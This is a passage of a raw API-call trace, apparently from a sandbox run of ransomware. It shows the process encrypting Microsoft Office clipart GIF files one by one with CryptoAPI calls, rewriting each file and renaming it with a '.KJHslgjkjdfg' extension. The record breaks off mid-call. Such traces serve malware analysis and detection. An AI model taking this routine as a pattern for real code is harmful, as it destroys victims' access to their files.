[0219.117] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.117] GetProcessHeap () returned 0x990000 [0219.117] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.117] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0219.117] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.117] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0219.118] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0219.118] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0219.118] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0219.118] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0219.118] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0219.118] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.118] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.118] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.118] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4d5, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4d5, lpOverlapped=0x0) returned 1 [0219.118] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4e0, dwBufLen=0x4e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4e0) returned 1 [0219.118] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.118] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4e0, lpOverlapped=0x0) returned 1 [0219.118] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.118] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.118] SetEndOfFile (hFile=0x130) returned 1 [0219.121] GetProcessHeap () returned 0x990000 [0219.121] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.121] GetProcessHeap () returned 0x990000 [0219.121] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.121] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01743_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01743_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01743_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01743_.gif.kjhslgjkjdfg")) returned 1 [0219.122] CloseHandle (hObject=0x130) returned 1 [0219.122] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9359300, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9359300, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x31f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01744_.GIF", cAlternateFileName="")) returned 1 [0219.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01744_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01744_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0219.123] GetProcessHeap () returned 0x990000 [0219.123] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.123] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.123] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0219.123] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x1, lpOverlapped=0x0) returned 1 [0219.125] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.125] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.125] GetProcessHeap () returned 0x990000 [0219.125] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.125] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0219.125] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.125] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0219.125] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0219.125] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0219.125] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0219.125] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0219.125] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0219.125] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.126] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.126] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.126] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x31f, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x31f, lpOverlapped=0x0) returned 1 [0219.126] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x320, dwBufLen=0x320 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x320) returned 1 [0219.126] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.126] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x320, lpOverlapped=0x0) returned 1 [0219.126] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.126] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.126] SetEndOfFile (hFile=0x130) returned 1 [0219.128] GetProcessHeap () returned 0x990000 [0219.128] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.128] GetProcessHeap () returned 0x990000 [0219.128] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.128] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01744_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01744_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01744_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01744_.gif.kjhslgjkjdfg")) returned 1 [0219.129] CloseHandle (hObject=0x130) returned 1 [0219.129] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43119400, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x43119400, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01745_.GIF", cAlternateFileName="")) returned 1 [0219.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01745_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01745_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0219.130] GetProcessHeap () returned 0x990000 [0219.130] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.130] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.130] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0219.130] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0219.133] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.133] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.133] GetProcessHeap () returned 0x990000 [0219.133] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.133] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0219.133] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.133] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0219.133] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0219.133] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0219.133] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0219.134] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0219.134] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0219.134] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.134] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.134] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.134] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5ac, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5ac, lpOverlapped=0x0) returned 1 [0219.134] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5b0) returned 1 [0219.134] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.134] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5b0, lpOverlapped=0x0) returned 1 [0219.134] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.134] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.134] SetEndOfFile (hFile=0x130) returned 1 [0219.136] GetProcessHeap () returned 0x990000 [0219.136] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.136] GetProcessHeap () returned 0x990000 [0219.136] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.136] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01745_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01745_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01745_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01745_.gif.kjhslgjkjdfg")) returned 1 [0219.137] CloseHandle (hObject=0x130) returned 1 [0219.138] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ab95900, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3ab95900, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01746_.GIF", cAlternateFileName="")) returned 1 [0219.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01746_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01746_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0219.139] GetProcessHeap () returned 0x990000 [0219.139] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.139] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.139] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0219.139] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0219.141] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.141] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.141] GetProcessHeap () returned 0x990000 [0219.141] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.141] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0219.141] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.141] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0219.141] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0219.141] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0219.141] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0219.141] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0219.141] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0219.141] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.141] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.141] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.141] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2e2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2e2, lpOverlapped=0x0) returned 1 [0219.141] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2f0, dwBufLen=0x2f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2f0) returned 1 [0219.142] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.142] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2f0, lpOverlapped=0x0) returned 1 [0219.142] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.142] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.142] SetEndOfFile (hFile=0x130) returned 1 [0219.144] GetProcessHeap () returned 0x990000 [0219.144] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.144] GetProcessHeap () returned 0x990000 [0219.144] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.144] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01746_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01746_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01746_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01746_.gif.kjhslgjkjdfg")) returned 1 [0219.145] CloseHandle (hObject=0x130) returned 1 [0219.145] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34c37800, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34c37800, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x387, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01747_.GIF", cAlternateFileName="")) returned 1 [0219.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01747_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01747_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0219.145] GetProcessHeap () returned 0x990000 [0219.145] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.146] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.146] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0219.146] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x9, lpOverlapped=0x0) returned 1 [0219.147] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.147] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.147] GetProcessHeap () returned 0x990000 [0219.147] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.147] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0219.147] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.147] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0219.147] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0219.148] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0219.148] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0219.148] SetFilePointerEx (in: hFile=0x130, 